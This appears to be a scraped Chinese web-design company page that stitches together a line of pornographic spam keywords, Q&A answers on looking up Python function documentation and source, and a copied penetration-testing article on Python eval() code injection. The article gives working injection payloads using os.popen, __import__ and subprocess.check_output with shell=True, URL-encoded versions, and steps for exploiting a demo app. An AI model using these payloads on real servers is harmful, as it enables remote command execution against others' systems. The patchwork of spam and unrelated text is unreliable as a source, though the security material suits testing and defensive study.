真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

python查函數(shù)的網(wǎng)站 查找Python

如何查python中的一些庫函數(shù)呢

最簡單的就是直接到python官網(wǎng)查看文檔了

公司主營業(yè)務:成都做網(wǎng)站、成都網(wǎng)站設(shè)計、移動網(wǎng)站開發(fā)等業(yè)務。幫助企業(yè)客戶真正實現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。創(chuàng)新互聯(lián)是一支青春激揚、勤奮敬業(yè)、活力青春激揚、勤奮敬業(yè)、活力澎湃、和諧高效的團隊。公司秉承以“開放、自由、嚴謹、自律”為核心的企業(yè)文化,感謝他們對我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團隊有機會用頭腦與智慧不斷的給客戶帶來驚喜。創(chuàng)新互聯(lián)推出城北免費做網(wǎng)站回饋大家。

python2:

python3:

如果再離線的情況下使用help函數(shù)也可以:

import?re

help(re)

如果解決了您的問題請采納!

如果未解決請繼續(xù)追問

如何查看python庫函數(shù)的代碼?

python 所有版本的源代碼可以在這里下載到:

python沒有像matlab那樣的函數(shù)可以直接查看某個函數(shù)的源代碼,只有去下載整個源代碼查看了,不過找起來應該也不難,另外你也可以寫一個小程序來查看對應函數(shù)的源代碼。

Python的函數(shù)調(diào)用方式是通過import來調(diào)用的對應的py文件。

庫函數(shù)有內(nèi)建函數(shù)build_in(會寫python的時候已經(jīng)可以不用看了,不會寫的時候看也看不懂),和通過pip直接下載或者github上下載再安裝的函數(shù)。本質(zhì)上都是py文件。后者有時候由于環(huán)境的不同需要自行修改(這種情況較少),一般在安裝路徑下"\Lib\site-packages"文件夾中存在。

學習庫函數(shù)最好的方法是看網(wǎng)上官方的幫助文檔,此外還可以通過python自帶的dir()方法查看所有的屬性和方法,或者用help()方法查看幫助文檔(部分別人造的輪子不一定有)。

另外推薦使用ipython,Python創(chuàng)始人之一的成員編寫的交互式系統(tǒng)。

如何使用python查找網(wǎng)站漏洞

如果你的Web應用中存在Python代碼注入漏洞的話,攻擊者就可以利用你的Web應用來向你后臺服務器的Python解析器發(fā)送惡意Python代碼了。這也就意味著,如果你可以在目標服務器中執(zhí)行Python代碼的話,你就可以通過調(diào)用服務器的操作系統(tǒng)的指令來實施攻擊了。通過運行操作系統(tǒng)命令,你不僅可以對那些可以訪問到的文件進行讀寫操作,甚至還可以啟動一個遠程的交互式Shell(例如nc、Metasploit和Empire)。

為了復現(xiàn)這個漏洞,我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網(wǎng)上查找一些關(guān)于這個漏洞具體應用方法的信息,但是并沒有找到太多有價值的內(nèi)容。在同事Charlie Worrell(@decidedlygray)的幫助下,我們成功地通過Burp POC實現(xiàn)了一個非交互式的shell,這也是我們這篇文章所要描述的內(nèi)容。

因為除了Python之外,還有很多其他的語言(例如Perl和Ruby)也有可能出現(xiàn)代碼注入問題,因此Python代碼注入屬于服務器端代碼注入的一種。實際上,如果各位同學和我一樣是一名CWE的關(guān)注者,那么下面這兩個CWE也許可以給你提供一些有價值的參考內(nèi)容:

1. CWE-94:代碼生成控制不當(‘代碼注入’)2. CWE-95:動態(tài)代碼評估指令處理不當(‘Eval注入’)漏洞利用

假設(shè)你現(xiàn)在使用Burp或者其他工具發(fā)現(xiàn)了一個Python注入漏洞,而此時的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面這個Payload來在目標主機中實現(xiàn)操作系統(tǒng)指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上,你甚至都不需要使用for循環(huán),直接使用全局函數(shù)“__import__”就可以了。具體代碼如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔,既然我們已經(jīng)將import和popen寫在了一個表達式里面了,那么在大多數(shù)情況下,你甚至都不需要使用compile了。具體代碼如下所示:

__import__('os').popen('COMMAND').read()

為了將這個Payload發(fā)送給目標Web應用,你需要對其中的某些字符進行URL編碼。為了節(jié)省大家的時間,我們在這里已經(jīng)將上面所列出的Payload代碼編碼完成了,具體如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來,我們將會給大家介紹關(guān)于這個漏洞的細節(jié)內(nèi)容,并跟大家分享一個包含這個漏洞的Web應用。在文章的結(jié)尾,我將會給大家演示一款工具,這款工具是我和我的同事Charlie共同編寫的,它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之,這款工具就像sqlmap一樣,可以讓你快速找到SQL注入漏洞,不過這款工具仍在起步階段,感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。

搭建一個包含漏洞的服務器

為了更好地給各位同學進行演示,我專門創(chuàng)建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話,你可以點擊這里獲取這份Web應用。接下來,我們要配置的就是Web應用的運行環(huán)境,即通過pip或者easy_install來安裝web.py。它可以作為一臺獨立的服務器運行,或者你也可以將它加載至包含mod_wsgi模塊的Apache服務器中。相關(guān)操作指令如下所示:

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

當你在網(wǎng)上搜索關(guān)于python的eval()函數(shù)時,幾乎沒有文章會提醒你這個函數(shù)是非常不安全的,而eval()函數(shù)就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況,說明你的Web應用中存在這個漏洞:

1. Web應用接受用戶輸入(例如GET/POST參數(shù),cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數(shù)據(jù)傳遞給eval()函數(shù)(沒有經(jīng)過安全審查,或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼:

\

大家可以看到,eval()函數(shù)是上述代碼中唯一一個存在問題的地方。除此之外,如果開發(fā)人員直接對用戶的輸入數(shù)據(jù)(序列化數(shù)據(jù))進行拆封的話,那么Web應用中也將會出現(xiàn)這個漏洞。

不過需要注意的是,除了eval()函數(shù)之外,Python的exec()函數(shù)也有可能讓你的Web應用中出現(xiàn)這個漏洞。而且據(jù)我所示,現(xiàn)在很多開發(fā)人員都會在Web應用中不規(guī)范地使用exec()函數(shù),所以這個問題肯定會存在。

自動掃描漏洞

為了告訴大家如何利用漏洞來實施攻擊,我通常會使用掃描器來發(fā)現(xiàn)一些我此前沒有見過的東西。找到之后,我再想辦法將毫無新意的PoC開發(fā)成一個有意義的exploit。不過我想提醒大家的是,不要過度依賴掃描工具,因為還很多東西是掃描工具也找不到的。

這個漏洞也不例外,如果你在某個Web應用中發(fā)現(xiàn)了這個漏洞,那么你肯定使用了某款自動化的掃描工具,比如說Burp Suite Pro。目前為止,如果不使用類似Burp Suite Pro這樣的專業(yè)掃描工具,你幾乎是無法發(fā)現(xiàn)這個漏洞的。

當你搭建好測試環(huán)境之后,啟動并運行包含漏洞的示例應用。接下來,使用Burp Suite Pro來對其進行掃描。掃描結(jié)果如下圖所示:

\

下圖顯示的是Burp在掃描這個漏洞時所使用的Payload:

\

我們可以看到,Burp之所以要將這個Web應用標記為“Vulnerable”(包含漏洞的),是因為當它將這個Payload發(fā)送給目標Web應用之后,服務器的Python解析器休眠了20秒,響應信息在20秒之后才成功返回。但我要提醒大家的是,這種基于時間的漏洞檢查機制通常會存在一定的誤報。

將PoC升級成漏洞利用代碼

使用time.sleep()來驗證漏洞的存在的確是一種很好的方法。接下來,為了執(zhí)行操作系統(tǒng)指令并接收相應的輸出數(shù)據(jù),我們可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()這幾個函數(shù)。當然了,應該還有很多其他的函數(shù)同樣可以實現(xiàn)我們的目標。

因為eval()函數(shù)只能對表達式進行處理,因此Burp Suite Pro的Payload在這里使用了compile()函數(shù),這是一種非常聰明的做法。當然了,我們也可以使用其他的方法來實現(xiàn),例如使用全局函數(shù)“__import__”。關(guān)于這部分內(nèi)容請查閱參考資料:[參考資料1][參考資料2]

下面這個Payload應該可以適用于絕大多數(shù)的場景:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要執(zhí)行一個或多個語句,那么你就需要使用eval()或者compile()函數(shù)了。實現(xiàn)代碼如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的測試過程中,有時全局函數(shù)“__import__”會不起作用。在這種情況下,我們就要使用for循環(huán)了。相關(guān)代碼如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的參數(shù)是一個GET參數(shù),那么你就可以直接在瀏覽器中利用這個漏洞了:

\

請注意:雖然瀏覽器會幫你完成絕大部分的URL編碼工作,但是你仍然需要對分號(%3b)和空格(%20)進行手動編碼。除此之外,你也可以直接使用我們所開發(fā)的工具。

如果是POST參數(shù)的話,我建議各位直接使用類似Burp Repeater這樣的工具。如下圖所示,我在subprocess.check_output()函數(shù)中一次性調(diào)用了多個系統(tǒng)命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接訪問PyCodeInjectionShell的GitHub主頁獲取工具源碼,我們也提供了相應的工具使用指南。在你使用這款工具的過程中會感覺到,它跟sqlmap一樣使用起來非常的簡單。除此之外,它的使用方法跟sqlmap基本相同。

python怎么查看函數(shù)代碼

我們經(jīng)常會用到python的內(nèi)置函數(shù),但python庫中的內(nèi)置函數(shù)何其之多,有時候難免會忘了這個函數(shù)的功能。這時候我們可以在

pycharm中把鼠標定位到這個函數(shù),然后用快捷鍵Ctrl+B去查看:

更多技術(shù)請關(guān)注Python視頻教程。


當前題目:python查函數(shù)的網(wǎng)站 查找Python
分享URL:http://weahome.cn/article/hghpji.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部